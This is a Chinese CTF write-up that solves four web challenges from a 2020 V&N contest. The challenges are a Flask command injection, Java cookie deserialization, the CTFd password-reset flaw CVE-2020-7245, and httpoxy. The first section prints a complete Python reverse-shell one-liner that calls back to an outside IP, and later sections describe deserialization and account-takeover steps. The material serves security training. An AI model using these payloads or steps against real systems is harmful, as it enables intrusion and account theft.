以下是 2020 年 2 月 29 日 V&N 内部考核赛 Web 部分四道题的 WriteUp。

难度不大,一个题基本上就一两个知识点。

不多说,开始。

一、CheckIN

知识点:

  • RCE
  • Linux 基本知识

步骤:

1、打开靶机,发现是如下一个页面,直接给了源码。右键查看源码可以看到有换行的,方便查看。

2、然后看看源码,可以看到是个 flask 应用。

  • 前面打开了一个 flag 文件,后面被注释的部分是读这个文件的内容,下面有个被注释的路由是把 flag 显示出来。
  • 然后下面有个不带回显的 shell,在每次执行命令前都会把 flag 文件删除。

3、那么就首先反弹个 shell 到自己的机器上吧。这里因为是 python 应用就直接用 python 反弹了。

http://9660aed4-6aed-4641-8dc4-e6824f501246.vn.node3.buuoj.cn/shell?c=python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“172.247.76.60”,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

4、反弹之后可以看见 flag 文件是被删除了,但由于之前程序打开了 flag 文件,在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用 rm -f flag.txt)删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。

5、可以看到我们在 /proc/11/fd/3 下找到了 flag。

二、EasySpringMVC

这是那时候打中关村那个专项挑战赛时候的题目,觉得挺有意思的,改了改拿来给大家玩玩。

知识点:

  • Java 代码审计
  • Java 反序列化

步骤:

1、打开靶机,是这样一个页面。

2、然后用 JD-GUI 打开源码看看。

Tools 类,主要负责序列化与反序列化。

ClientInfo 类,是用来储存用户信息的类。

ClentInfoFilter 类,用于从 cookie 里进行反序列化的拦截器。

第一次访问时会序列化一个新的 ClientInfo 对象,用户名 Anonymous 用户组 normal,然后 base64 之后存入 cinfo cookie。再次访问时利用这个 cookie 反序列化为之前的对象。

然后来看看 Controller 代码逻辑,需要用户名为 admin 用户组为 webmanager。

3、那么就先来伪造一个用户名为 admin 用户组为 webmanager 的对象吧。

创建一个 Java 项目,把 ClientInfo 和 Tools 的源码拷进去,再编写主类,调用来伪造一个对象。

4、将得到的字符串置 cookie,刷新页面,变为 admin。

5、然后一个个可能的漏洞点来测试,第一个是任意文件读,路径不能多跳或者少跳,成功。

尝试读 flag,权限不足。

6、再来看上传文件那里,尝试穿越路径上传文件。

之前上传似乎权限不足。

穿越之后也无法上传。

7、那么继续来看最后一个漏洞点,就是不反序列化 ClientInfo 了,尝试反序列化 Tools 类,其中有一个命令执行点。

这会使其读取成员变量的时候使用这个方法来处理。

参考:https://blog.csdn.net/Leon_cx/article/details/81517603

8、那么就尝试来序列化一个 Tools。

修改 Tools 类,修改 testCall 为字符串数组,然后为其增加访问器方法。

然后再修改 Main,把反弹 shell 的命令塞进去,序列化。


9、在自己的机器上开启 nc 监听端口,置 cookie,可以看到 shell 反弹回来了。

10、反弹成功,到根目录执行 /readflag 即可成功执行命令。

三、HappyCTFd

知识点:

  • Python 代码审计

这是 CTFd 前些天出的 1day 漏洞,通过他们修复的 commit 即可分析这个漏洞的利用方法。

https://nvd.nist.gov/vuln/detail/CVE-2020-7245

https://github.com/CTFd/CTFd/commit/f660ed1fb769126a2d149c26645bbde457a5c616

1、先来根据 commit 分析一下这个漏洞。

这里,之前在验证的时候没有把用户名两头的空格给去掉,直接使用拿到的参数进行比较。

但是,在保存的时候,https://github.com/CTFd/CTFd/blob/2.2.2/CTFd/auth.py#L210,却是保存的去掉空格之后的数据。

而后在重置密码 https://github.com/CTFd/CTFd/blob/2.2.2/CTFd/auth.py#L145时,用的又是这个被处理之后的用户名。

将其序列化,得到 token。

而后,验证时将 token 反序列化,用这个用户名为依据来重置对应用户的密码。

所以路线就比较清晰了,我们可以在注册时注册一个用户名为 “空格 + 管理员用户名” 的账户,再用自己的注册邮箱来找回密码,找回密码之前再把自己账户名改为其他字符,这样重置密码时就会直接重置管理员的账户了。

2、来试一试吧,首先打开靶机,查看管理员用户名。

3、注册一个用户名为 “空格+admin” 的账户。

4、用隐私模式打开靶机,尝试找回密码。

5、提交之后,在这边改自己的用户名。

6、再用刚才那个链接来重置密码。

7、即可使用管理员账户和这里重置的密码登录了。

8、隐藏题目的附件即为 flag 所在附件。

四、TimeTravle

考点:

  • CGI 特性

改自 vulhub 的一道题。

步骤:

1、打开靶机,查看PHP版本。

2、然后来看看上面的代码。

传入 flag,会请求一个 HTTPAPI 服务,那个服务返回 success 的话就执行程序读 flag。

传入 file,就回去读这个文件。

传入 phpinfo,就会执行 phpinfo。

2、那么看到 phpinfo 里是以 cgi 方式运行的(上面看到 Nginx + PHP 相信你也已经猜到了),那么我们就可以根据 https://github.com/vulhub/vulhub/tree/master/cgi/httpoxy 所述,来传入一个 Proxy头,使其产生一个 HTTP_PROXY 环境变量,这个环境变量再被程序里的 GuzzleHttp 使用,即可使流量走代理,控制返回的请求。

3、在你的 VPS 上打开一个 Frps,本地开 Frpc,把流量转发到你本地的 BURP Suite 上。

4、本地新建一个 HTTPAPI 服务器,就不用我们去改包了。

5、然后就构造一个请求, Proxy 那里写上你的服务器地址吧。

6、请求,flag 就到手了。